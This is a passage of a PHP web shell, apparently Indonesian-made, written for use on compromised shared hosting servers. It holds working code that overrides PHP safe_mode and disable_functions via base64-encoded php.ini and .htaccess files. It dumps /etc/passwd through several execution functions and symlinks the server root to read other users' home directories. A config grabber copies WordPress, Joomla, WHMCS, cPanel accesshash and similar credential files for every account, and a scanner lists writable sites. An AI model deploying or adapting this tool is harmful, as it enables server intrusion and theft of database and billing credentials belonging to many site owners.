} if(isset($_POST['litini'])){
$iniph = "PD8gbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsgbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IG4gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOyBuIGVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7IG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgbiBpbmNsdWRlKCRfR0VUWyJzcyJdOyBuID8+";
$byph = "c2FmZV9tb2RlID0gT0ZGIG4gZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05F";
$comp = "PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
file_put_contents("php.ini",base64_decode($byph));
file_put_contents("ini.php",base64_decode($iniph));
file_put_contents(".htaccess",base64_decode($comp));
echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
echo"</center>";
}
} elseif ($_GET['symlink'] == '404'){
@error_reporting(0);
@ini_set('display_errors', 0);
echo '<center><h2>Symlink 404</h2></h2>
<form method="post">
<font color="blue">File Target:</font> <input type="text" name="dir" value="/home/user/public_html/wp-config.php"><br>
<font color="blue">Save As:</font> <input type="text" name="kuda" value="kuda.txt"><input name="kuda" type="submit" value="Eksekusi Coeg"></form>';
if($_POST['kuda']){
rmdir("kuda_symlink404");mkdir("kuda_symlink404", 0777);
$dir = $_POST['dir'];
$kuda = $_POST['kuda'];
system("ln -s ".$dir."kuda_symlink404/".$kuda);
symlink($dir,"kuda_symlink404/".$kuda);
$inija = fopen("kuda_symlink404/.htaccess", "w");
fwrite($inija,"ReadmeName ".$kuda."
Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
");
echo'<a href="kuda_symlink404/" target="_blank">Klik Coeg >:(</a>';
}
} elseif($_GET['bypass'] == 'passwd') {
echo '<center><h2>Bypass etc/passw With :</h2>
<table style="width:50%">
<tr>
<td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
<td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
<td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
<td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
<td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
</tr></table><h2>Bypass User With : </h2><table style="width:50%">
<tr>
<td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
<td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
<td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
<td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
<td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
</tr></table>';
if ($_POST['awkuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
}
if ($_POST['systuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['passthuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['exuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['shexuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
}
if($_POST['syst'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['passth'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['ex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['shex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
echo '<center>';
if($_POST['melex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br>";
}
} elseif($_GET['kill'] == 'self') {
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('<center><h2>Shell removed<br>Goodbye , Thanks for take my shell today</h2></center>');
else
echo '<center>unlink failed!</center>';
}
elseif($_GET['symlink'] == 'server') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
$d0mains = @file("/etc/named.conf");
##htaccess
if($d0mains){
@mkdir("kuda_sym",0777);
@chdir("kuda_sym");
@exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "<br>
<table align=center border=1 style='width:80%;border-color:#333333;'>
<tr>
<td align=center><font size=2>No.</font></td>
<td align=center><font size=2>Domains</font></td>
<td align=center><font size=2>Users</font></td>
<td align=center><font size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='$full/kuda_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("kuda_sym",0777);
@chdir("kuda_sym");
exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "
<table align=center border=1><tr>
<td align=center><font size=3>No.</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$dcount = 1;
$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
while(!feof($file)){
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/kuda_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}fclose($file);
echo "</table>";}else{if($os != "Windows"){@mkdir("kuda_sym",0777);@chdir("kuda_sym");@exe("ln -s / root");$file3 = '
Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<div class='mybox'><h2 class='k2ll33d2'>Server Symlinker</h2>
<table align=center border=1><tr>
<td align=center><font size=3>ID</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$temp = "";$val1 = 0;$val2 = 1000;
for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
if ($uid)$temp .= join(':',$uid)."
";}
echo '<br/>';$temp = trim($temp);$file5 =
fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);$dcount = 1;$file =
fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file)){$s = fgets($file);$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/kuda_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}
fclose($file);
echo "</table></div></center>";unlink("test.txt");
} else
echo "<center><font size=3>Cannot create Symlink</font></center>";
}
}
} elseif($_GET['config'] == 'grabber') {
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
exit;
}
if($_POST){ if($_POST['config'] == 'symvhosts') {
@mkdir("kuda_symvhosts", 0777);
exe("ln -s / kuda_symvhosts/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";
@file_put_contents("kuda_symvhosts/.htaccess",$htaccess);
$etc_passwd=$_POST['passwd'];
$etc_passwd=explode("
",$etc_passwd);
foreach($etc_passwd as $passwd){
$pawd=explode(":",$passwd);
$user =$pawd[5];
$kuda = preg_replace('/\/var\/www\/vhosts\//', '', $user);
if (preg_match('/vhosts/i',$user)){
exe("ln -s ".$user."/httpdocs/wp-config.php kuda_symvhosts/".$kuda."-Wordpress.txt");
exe("ln -s ".$user."/httpdocs/configuration.php kuda_symvhosts/".$kuda."-Joomla.txt");
exe("ln -s ".$user."/httpdocs/config/koneksi.php kuda_symvhosts/".$kuda."-Lokomedia.txt");
exe("ln -s ".$user."/httpdocs/forum/config.php kuda_symvhosts/".$kuda."-phpBB.txt");
exe("ln -s ".$user."/httpdocs/sites/default/settings.php kuda_symvhosts/".$kuda."-Drupal.txt");
exe("ln -s ".$user."/httpdocs/config/settings.inc.php kuda_symvhosts/".$kuda."-PrestaShop.txt");
exe("ln -s ".$user."/httpdocs/app/etc/local.xml kuda_symvhosts/".$kuda."-Magento.txt");
exe("ln -s ".$user."/httpdocs/admin/config.php kuda_symvhosts/".$kuda."-OpenCart.txt");
exe("ln -s ".$user."/httpdocs/application/config/database.php kuda_symvhosts/".$kuda."-Ellislab.txt");
}}}
if($_POST['config'] == 'symlink') {
@mkdir("kuda_symconfig", 0777);
@symlink("/","kuda_symconfig/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";
@file_put_contents("kuda_symconfig/.htaccess",$htaccess);}
if($_POST['config'] == '404') {
@mkdir("kuda_sym404", 0777);
@symlink("/","kuda_sym404/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
IndexIgnore *.txt404
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} ^.*kuda_sym404 [NC]
RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
@file_put_contents("kuda_sym404/.htaccess",$htaccess);
}
if($_POST['config'] == 'grab') {
mkdir("kuda_configgrab", 0777);
$isi_htc = "Options all
Require None
Satisfy Any";
$htc = fopen("kuda_configgrab/.htaccess","w");
fwrite($htc, $isi_htc);
}
$passwd = $_POST['passwd'];
preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_kuda) {
$grab_config = array(
"/home/$user_kuda/.accesshash" => "WHM-accesshash",
"/home/$user_kuda/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_kuda/public_html/forum/config.php" => "phpBB",
"/home/$user_kuda/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_kuda/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_kuda/public_html/app/etc/local.xml" => "Magento",
"/home/$user_kuda/public_html/admin/config.php" => "OpenCart",
"/home/$user_kuda/public_html/application/config/database.php" => "Ellislab",
"/home/$user_kuda/public_html/vb/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/forum/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/forums/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/cc/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/inc/config.php" => "MyBB",
"/home/$user_kuda/public_html/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/shop/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/os/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/oscom/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/products/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/cart/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/inc/conf_global.php" => "IPB",
"/home/$user_kuda/public_html/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/wp/test/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/blog/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/beta/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/portal/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/site/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/wp/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/WP/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/news/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/wordpress/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/test/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/demo/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/home/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/v1/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/v2/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/press/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/new/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/blogs/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/blog/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/submitticket.php" => "^WHMCS",
"/home/$user_kuda/public_html/cms/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/beta/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/portal/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/site/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/main/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/home/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/demo/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/test/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/v1/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/v2/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/joomla/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/new/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/WHMCS/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whmcs1/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Whmcs/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/WHMC/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Whmc/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whmc/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/WHM/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Whm/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whm/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/HOST/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Host/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/host/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/SUPPORTES/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Supportes/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/supportes/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/domains/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/domain/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Hosting/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/HOSTING/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/hosting/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CART/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Cart/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/cart/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/ORDER/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Order/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/order/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CLIENT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Client/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/client/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Clientarea/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/clientarea/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/SUPPORT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Support/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/support/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BILLING/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Billing/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/billing/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BUY/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Buy/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/buy/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/MANAGE/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Manage/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/manage/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/ClientSupport/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Clientsupport/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/clientsupport/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CHECKOUT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Checkout/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/checkout/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BASKET/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Basket/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/basket/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/SECURE/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Secure/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/secure/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/SALES/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Sales/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/sales/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BILL/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Bill/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/bill/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/PURCHASE/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Purchase/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/purchase/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/ACCOUNT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Account/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/account/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/USER/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/User/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/user/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CLIENTS/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Clients/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/clients/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/MY/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/My/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/my/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/secure/whm/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/secure/whmcs/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/panel/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/clientes/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/cliente/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/support/order/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/boxbilling/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/box/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/host/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/Host/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/supportes/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/support/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/hosting/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/cart/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/order/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/client/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/clients/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/cliente/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/clientes/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/billing/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/billings/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/my/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/secure/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/support/order/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/zencart/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/products/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/cart/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/shop/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/hostbills/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/host/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/Host/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/supportes/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/support/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/hosting/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/cart/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/order/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/client/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/clients/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/cliente/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/clientes/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/billing/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/billings/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/my/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/secure/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/support/order/includes/iso4217.php" => "Hostbills"
);
foreach($grab_config as $config => $nama_config) {
if($_POST['config'] == 'grab') {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("kuda_configgrab/$user_kuda-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
if($_POST['config'] == 'symlink') {
@symlink($config,"kuda_Symconfig/".$user_kuda."-".$nama_config.".txt");
}
if($_POST['config'] == '404') {
$sym404=symlink($config,"kuda_sym404/".$user_kuda."-".$nama_config.".txt");
if($sym404){
@mkdir("kuda_sym404/".$user_kuda."-".$nama_config.".txt404", 0777);
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex kuda.html
HeaderName kuda.txt
Satisfy Any
IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
IndexIgnore *";
@file_put_contents("kuda_sym404/".$user_kuda."-".$nama_config.".txt404/.htaccess",$htaccess);
@symlink($config,"kuda_sym404/".$user_kuda."-".$nama_config.".txt404/kuda.txt");
}
}
}
} if($_POST['config'] == 'grab') {
echo "<center><a href='?path=$path/kuda_configgrab'><font color=lime>Done</font></a></center>";
}
if($_POST['config'] == '404') {
echo "<center>
<a href=\"kuda_sym404/root/\">Symlinknya</a>
<br><a href=\"kuda_sym404/\">Configurations</a></center>";
}
if($_POST['config'] == 'symlink') {
echo "<center>
<a href=\"kuda_symconfig/root/\">Symlinknya</a>
<br><a href=\"kuda_symconfig/\">Configurations</a></center>";
}if($_POST['config'] == 'symvhost') {
echo "<center>
<a href=\"kuda_symvhost/root/\">Root Server</a>
<br><a href=\"kuda_symvhost/\">Configurations</a></center>";
}
}else{
echo "<form method=\"post\" action=\"\"><center>
</center></select><br><textarea name=\"passwd\" class='area' rows='15' cols='60'>
";
echo include("/etc/passwd");
echo "</textarea><br><br><center>
<select class=\"select\" name=\"config\" style=\"width: 450px;\" height=\"10\">
<option value=\"grab\">Config Grab</option>
<option value=\"symlink\">Symlink Config</option>
<option value=\"404\">Config 404</option>
<option value=\"symvhosts\">Vhosts Config Grabber</option><br><br><input type=\"submit\" value=\"Start!!\"></td></tr></center>
";
}
} elseif($_GET['kuda'] == 'jumping') {
$i = 0;
echo "<center><pre><div class='margin: 5px auto;'>";
$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_kuda_jump) {
$user_jumping_dir = "/home/$user_kuda_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font color=white>R</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font color=white>RW</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $user_kuda_jump) {
echo " => ( <u>$dj</u> )<br>";
break;
}
}
}
} else {
echo "<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total Bangsat! ada ".$i." Kamar di ".$ip."";
}
echo "</div></pre></center>";
}
elseif(isset($_GET['ip']) && ($_GET['ip'] == 'reverse')){
?>
<center><div id="sitelist"><a onClick="window.open('http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER['HTTP_HOST']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER['HTTP_HOST']; ?>"><td>Reverse IP</></a></td></center></div>
<?
} elseif($_GET['kuda'] == 'phpinfo')
{@ob_start();eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");echo "<div class='phpinfo'>".substr($buff,$awal,$akhir-$awal)."</div>";
}
